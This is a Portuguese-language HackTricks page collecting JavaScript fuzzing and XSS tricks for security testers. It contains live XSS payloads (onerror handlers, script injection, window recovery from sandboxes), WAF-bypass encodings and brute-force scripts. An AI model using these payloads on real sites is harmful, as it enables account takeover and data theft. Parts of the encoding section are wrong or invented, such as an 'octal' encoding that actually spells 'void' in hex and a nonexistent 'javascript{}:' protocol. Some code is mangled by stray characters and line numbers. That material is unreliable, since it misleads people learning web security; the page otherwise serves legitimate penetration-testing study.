hacktricks/pentesting-web/xss-cross-site-scripting/other-js-tricks.md
2023-06-06 18:56:34 +00:00

21 KiB

Truques JS diversos e informações relevantes

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Fuzzing Javascript

Caracteres válidos para comentários JS

//This is a 1 line comment
/* This is a multiline comment*/
#!This is a 1 line comment, but "#!" must to be at the beggining of the line
-->This is a 1 line comment, but "-->" must to be at the beggining of the line


for (let j = 0; j < 128; j++) {
  for (let k = 0; k < 128; k++) {
    for (let l = 0; l < 128; l++) {
      if (j == 34 || k ==34 || l ==34)
        continue;
      if (j == 0x0a || k ==0x0a || l ==0x0a)
        continue;
      if (j == 0x0d || k ==0x0d || l ==0x0d)
        continue;
      if (j == 0x3c || k ==0x3c || l ==0x3c)
        continue;
      if (
         (j == 47 && k == 47)
         ||(k == 47 && l == 47)
        )
        continue;
  try {
      var cmd = String.fromCharCode(j) + String.fromCharCode(k) + String.fromCharCode(l) + 'a.orange.ctf"';
      eval(cmd);
  } catch(e) {
      var err = e.toString().split('\n')[0].split(':')[0];
      if (err === 'SyntaxError' || err === "ReferenceError")
        continue
      err = e.toString().split('\n')[0]
  }
     console.log(err,cmd);
  }
  }
}
//From: https://balsn.tw/ctf_writeup/20191012-hitconctfquals/#bounty-pl33z

// From: Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 43). Kindle Edition. 
log=[];
for(let i=0;i<=0xff;i++){
  for(let j=0;j<=0xfff;j++){
    try {  
      eval(`${String.fromCodePoint(i,j)}%$£234$`)
      log.push([i,j])
    }catch(e){}
  }
}
console.log(log)//[35,33],[47,47]

Caracteres de Nova Linha Válidos em JS

//Javascript interpret as new line these chars:
String.fromCharCode(10) //0x0a
String.fromCharCode(13) //0x0d
String.fromCharCode(8232) //0xe2 0x80 0xa8
String.fromCharCode(8233) //0xe2 0x80 0xa8

for (let j = 0; j < 65536; j++) {
    try {
        var cmd = '"aaaaa";'+String.fromCharCode(j) + '-->a.orange.ctf"';
        eval(cmd);
    } catch(e) {
        var err = e.toString().split('\n')[0].split(':')[0];
        if (err === 'SyntaxError' || err === "ReferenceError")
          continue;
        err = e.toString().split('\n')[0]
    }
    console.log(`[${err}]`,j,cmd);
}
//From: https://balsn.tw/ctf_writeup/20191012-hitconctfquals/#bounty-pl33z

Espaços válidos em chamadas de função JS

// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (pp. 40-41). Kindle Edition. 

// Check chars that can be put in between in func name and the ()
function x(){}

log=[];
for(let i=0;i<=0x10ffff;i++){
    try {  
        eval(`x${String.fromCodePoint(i)}()`)
        log.push(i)
    }catch(e){}
}
 
console.log(log)v//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,813 232,8233,8239,8287,12288,65279

Caracteres válidos para gerar strings

  • 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ are always valid.
  • ~!@#$%^&*()_+-={}[]|\:;"'<>,.?/ are almost always valid, but sometimes they are blocked by some input validation filters.
  • Unicode characters are also valid, but they can be blocked by input validation filters or cause encoding issues.
// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (pp. 41-42). Kindle Edition. 

// Check which pairs of chars can make something be a valid string
log=[];
for(let i=0;i<=0x10ffff;i++){
    try {  
        eval(`${String.fromCodePoint(i)}%$£234${String.fromCodePoint(i)}`)
        log.push(i)
    }catch(e){}
}
console.log(log) //34,39,47,96
//single quote, quotes, backticks & // (regex)

Surrogate Pairs BF

Esta técnica não será muito útil para XSS, mas pode ser útil para contornar proteções WAF. Este código Python recebe como entrada 2 bytes e procura por pares substitutos que tenham o primeiro byte como o último byte do par substituto alto e o último byte como o último byte do par substituto baixo.

def unicode(findHex):
    for i in range(0,0xFFFFF):
        H = hex(int(((i - 0x10000) / 0x400) + 0xD800))
        h = chr(int(H[-2:],16))
        L = hex(int(((i - 0x10000) % 0x400 + 0xDC00)))
        l = chr(int(L[-2:],16))
        if(h == findHex[0]) and (l == findHex[1]):     
            print(H.replace("0x","\\u")+L.replace("0x","\\u"))

Fuzzing do Protocolo javascript{}:

O protocolo javascript{}: é usado para executar código JavaScript em um URL. É possível explorar vulnerabilidades de XSS usando esse protocolo.

Codificação Unicode

A codificação Unicode pode ser usada para contornar filtros de XSS. Por exemplo, o caractere > pode ser codificado como %u003e. Isso pode ser usado para injetar código JavaScript em um URL.

Codificação Base64

A codificação Base64 pode ser usada para contornar filtros de XSS que bloqueiam caracteres especiais. Por exemplo, o código JavaScript alert('XSS') pode ser codificado como YWxlcnQoJ1hTUycp. Isso pode ser usado para injetar código JavaScript em um URL.

Codificação UTF-8

A codificação UTF-8 pode ser usada para contornar filtros de XSS que bloqueiam caracteres especiais. Por exemplo, o caractere > pode ser codificado como %C0%BC. Isso pode ser usado para injetar código JavaScript em um URL.

Codificação Hexadecimal

A codificação hexadecimal pode ser usada para contornar filtros de XSS que bloqueiam caracteres especiais. Por exemplo, o caractere > pode ser codificado como %3e. Isso pode ser usado para injetar código JavaScript em um URL.

Codificação Octal

A codificação octal pode ser usada para contornar filtros de XSS que bloqueiam caracteres especiais. Por exemplo, o caractere > pode ser codificado como %76%6f%69%64. Isso pode ser usado para injetar código JavaScript em um URL.

Codificação Decimal

A codificação decimal pode ser usada para contornar filtros de XSS que bloqueiam caracteres especiais. Por exemplo, o caractere > pode ser codificado como &#62;. Isso pode ser usado para injetar código JavaScript em um URL.

Codificação de Entidades HTML

A codificação de entidades HTML pode ser usada para contornar filtros de XSS que bloqueiam caracteres especiais. Por exemplo, o caractere > pode ser codificado como &gt;. Isso pode ser usado para injetar código JavaScript em um URL.

Codificação de URL

A codificação de URL pode ser usada para contornar filtros de XSS que bloqueiam caracteres especiais. Por exemplo, o caractere > pode ser codificado como %3e. Isso pode ser usado para injetar código JavaScript em um URL.

Codificação de URL Dupla

A codificação de URL dupla pode ser usada para contornar filtros de XSS que bloqueiam caracteres especiais. Por exemplo, o caractere > pode ser codificado como %253e. Isso pode ser usado para injetar código JavaScript em um URL.

// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 34). Kindle Edition. 
log=[];
let anchor = document.createElement('a');
for(let i=0;i<=0x10ffff;i++){
    anchor.href = `javascript${String.fromCodePoint(i)}:`;
    if(anchor.protocol === 'javascript:') {
        log.push(i);
    }
}
console.log(log)//9,10,13,58
// Note that you could BF also other possitions of the use of multiple chars

// Test one option
let anchor = document.createElement('a');
anchor.href = `javascript${String.fromCodePoint(58)}:alert(1337)`;
anchor.append('Click me')
document.body.append(anchor)

// Another way to test
<a href="&#12;javascript:alert(1337)">Test</a>

Fuzzing de URL

// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (pp. 36-37). Kindle Edition. 

// Before the protocol
a=document.createElement('a');
log=[];
for(let i=0;i<=0x10ffff;i++){
    a.href = `${String.fromCodePoint(i)}https://hacktricks.xyz`;
    if(a.hostname === 'hacktricks.xyz'){
        log.push(i);
    }
}
console.log(log) //0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32

// Between the slashes
a=document.createElement('a');
log=[];
for(let i=0;i<=0x10ffff;i++){
    a.href = `/${String.fromCodePoint(i)}/hacktricks.xyz`;
    if(a.hostname === 'hacktricks.xyz'){
        log.push(i);
    }
}
console.log(log) //9,10,13,47,92

Fuzzing HTML

HTML Fuzzing é uma técnica usada para encontrar vulnerabilidades de XSS em páginas da web. Consiste em enviar uma grande quantidade de entradas inválidas ou malformadas para um aplicativo da web e observar como ele lida com elas. O objetivo é encontrar entradas que causem comportamentos inesperados ou explorem vulnerabilidades de XSS existentes. O HTML Fuzzing pode ser feito manualmente ou com ferramentas automatizadas.

// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 38). Kindle Edition. 

// Fuzzing chars that can close an HTML comment

let log=[];
let div = document.createElement('div');
for(let i=0;i<=0x10ffff;i++){
    div.innerHTML=`<!----${String.fromCodePoint(i)}><span></span>-->`;
    if(div.querySelector('span')){
        log.push(i);
    }
}
console.log(log)//33,45,62

Analisando atributos

A ferramenta Hackability inspector da Portswigger ajuda a analisar os atributos de um objeto javascript. Verifique: https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E

Arquivos .map js

Atribuição "--"

O operador de decremento -- também é uma atribuição. Este operador pega um valor e depois o decrementa em um. Se esse valor não for um número, ele será definido como NaN. Isso pode ser usado para remover o conteúdo de variáveis do ambiente.

Truques de funções

.call e .apply

O método .call de uma função é usado para executar a função.
O primeiro argumento que ele espera por padrão é o valor de this e se nada for fornecido, window será esse valor (a menos que seja usado o modo estrito).

function test_call(){
     console.log(this.value); //baz 
}
new_this={value:"hey!"}
test_call.call(new_this);

// To pass more arguments, just pass then inside .call()
function test_call() {
     console.log(arguments[0]); //"arg1"
     console.log(arguments[1]); //"arg2"
     console.log(this); //[object Window]
}
test_call.call(null, "arg1", "arg2")

// If you use the "use strict" directive "this" will be null instead of window:
function test_call() {
     "use strict";
     console.log(this); //null
}
test_call.call(null)
     
//The apply function is pretty much exactly the same as the call function with one important difference, you can supply an array of arguments in the second argument:
function test_apply() {
     console.log(arguments[0]); //"arg1"
     console.log(arguments[1]); //"arg2"
     console.log(this); //[object Window]
}
test_apply.apply(null, ["arg1", "arg2"])

Funções de seta

As funções de seta permitem gerar funções em uma única linha de forma mais fácil (se você as entender).

// Traditional
function (a){ return a + 1; }
// Arrow forms
a => a + 100;
a => {a + 100};

// Traditional
function (a, b){ return a + b + 1; }
// Arrow
(a, b) => a + b + 100;

// Tradictional no args
let a = 4;
let b = 2;
function (){ return a + b + 1; }

// Arrow
let a = 4;
let b = 2;
() => a + b + 1;

Então, a maioria das funções anteriores são na verdade inúteis porque não estamos salvando-as em nenhum lugar para salvá-las e chamá-las. Por exemplo, criando a função plusone:

// Traductional
function plusone (a){ return a + 1; }

//Arrow
plusone = a => a + 100;

Função Bind

A função Bind permite criar uma cópia de uma função modificando o objeto this e os parâmetros fornecidos.

//This will use the this object and print "Hello World"
var fn = function ( param1, param2 ) {
    console.info( this, param1, param2 );
}
fn('Hello', 'World')

//This will still use the this object and print "Hello World"
var copyFn = fn.bind();
copyFn('Hello', 'World')

//This will use the "console" object as "this" object inside the function and print "fixingparam1 Hello"
var bindFn_change = fn.bind(console, "fixingparam1");
bindFn_change('Hello', 'World') 

//This will still use the this object and print "fixingparam1 Hello"
var bindFn_thisnull = fn.bind(null, "fixingparam1");
bindFn_change('Hello', 'World')

//This will still use the this object and print "fixingparam1 Hello"
var bindFn_this = fn.bind(this, "fixingparam1");
bindFn_change('Hello', 'World')

{% hint style="info" %} Observe que usando bind você pode manipular o objeto this que será usado ao chamar a função. {% endhint %}

Vazamento de código de função

Se você pode acessar o objeto de uma função, você pode obter o código dessa função.

function afunc(){
    return 1+1;
}
console.log(afunc.toString()); //This will print the code of the function
console.log(String(afunc)); //This will print the code of the function
console.log(this.afunc.toString()); //This will print the code of the function
console.log(global.afunc.toString()); //This will print the code of the function

Em casos em que a função não tem nome, ainda é possível imprimir o código da função de dentro dela:

(function (){ return arguments.callee.toString(); })()
(function (){ return arguments[0]; })("arg0")

Algumas maneiras aleatórias de extrair o código de uma função (inclusive comentários) de outra função:

(function (){ return retFunc => String(arguments[0]) })(a=>{/* Hidden commment */})()
(function (){ return retFunc => Array(arguments[0].toString()) })(a=>{/* Hidden commment */})()
(function (){ return String(this)}).bind(()=>{ /* Hidden commment */ })()
(u=>(String(u)))(_=>{ /* Hidden commment */ })
(u=>_=>(String(u)))(_=>{ /* Hidden commment */ })()

Escape de Sandbox - Recuperando o objeto window

O objeto Window permite acessar funções definidas globalmente como alert ou eval.

{% code overflow="wrap" %}

// Some ways to access window
window.eval("alert(1)")
frames
globalThis
parent
self
top //If inside a frame, this is top most window

// Access window from document
document.defaultView.alert(1)
// Access document from a node object
node = document.createElement('div')
node.ownerDocument.defaultView.alert(1)

// There is a path property on each error event whose last element is the window
<img src onerror=event.path.pop().alert(1337)>
// In other browsers the method is
<img src onerror=event.composedPath().pop().alert(1337)>
// In case of svg, the "event" object is called "evt"
<svg><image href=1 onerror=evt.composedPath().pop().alert(1337)>

// Abusing Error.prepareStackTrace to get Window back
Error.prepareStackTrace=function(error, callSites){
2   callSites.shift().getThis().alert(1337);
3 };
4 new Error().stack

// From an HTML event
// Events from HTML are executed in this context
with(document) {
    with(element) {
        //executed event
    }
}
// Because of that with(document) it's possible to access properties of document like:
<img src onerror=defaultView.alert(1337)>
<img src onerror=s=createElement('script');s.append('alert(1337)');appendChild(s)>

Ponto de interrupção no acesso ao valor

// Stop when a property in sessionStorage or localStorage is set/get
// via getItem or setItem functions
sessionStorage.getItem = localStorage.getItem  = function(prop) {
    debugger;
    return sessionStorage[prop];
}

localStorage.setItem = function(prop, val) {
    debugger;
    localStorage[prop] = val;
}
// Stop when anyone sets or gets the property "ppmap" in any object
// For example sessionStorage.ppmap
// "123".ppmap
// Useful to find where weird properties are being set or accessed
// or to find where prototype pollutions are occurring 

function debugAccess(obj, prop, debugGet=true){

    var origValue = obj[prop];

    Object.defineProperty(obj, prop, {
        get: function () {
            if ( debugGet )
                debugger;
            return origValue;
        },
        set: function(val) {
            debugger;
            origValue = val;
        }
    });
};

debugAccess(Object.prototype, 'ppmap')

Acesso Automático do Navegador para testar payloads

//Taken from https://github.com/svennergr/writeups/blob/master/inti/0621/README.md
const puppeteer = require("puppeteer");

const realPasswordLength = 3000;
async function sleep(ms) {
  return new Promise((resolve) => setTimeout(resolve, ms));
}

(async () => {
  const browser = await puppeteer.launch();
  const page = await browser.newPage();
  //Loop to iterate through different values
  for (let i = 0; i < 10000; i += 100) {
    console.log(`Run number ${i}`);
    const input = `${"0".repeat(i)}${realPasswordLength}`;
    console.log(`  https://challenge-0621.intigriti.io/passgen.php?passwordLength=${input}&allowNumbers=true&allowSymbols=true&timestamp=1624556811000`);
    //Go to the page
    await page.goto(
      `https://challenge-0621.intigriti.io/passgen.php?passwordLength=${input}&allowNumbers=true&allowSymbols=true&timestamp=1624556811000`
    );
    //Call function "generate()" inside the page
    await page.evaluate("generate()");
    //Get node inner text from an HTML element
    const passwordContent = await page.$$eval(
      ".alert .page-content",
      (node) => node[0].innerText
    );
    //Transform the content and print it in console
    const plainPassword = passwordContent.replace("Your password is: ", "");
    if (plainPassword.length != realPasswordLength) {
      console.log(i, plainPassword.length, plainPassword);
    }

    await sleep(1000);
  }
  await browser.close();
})();
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥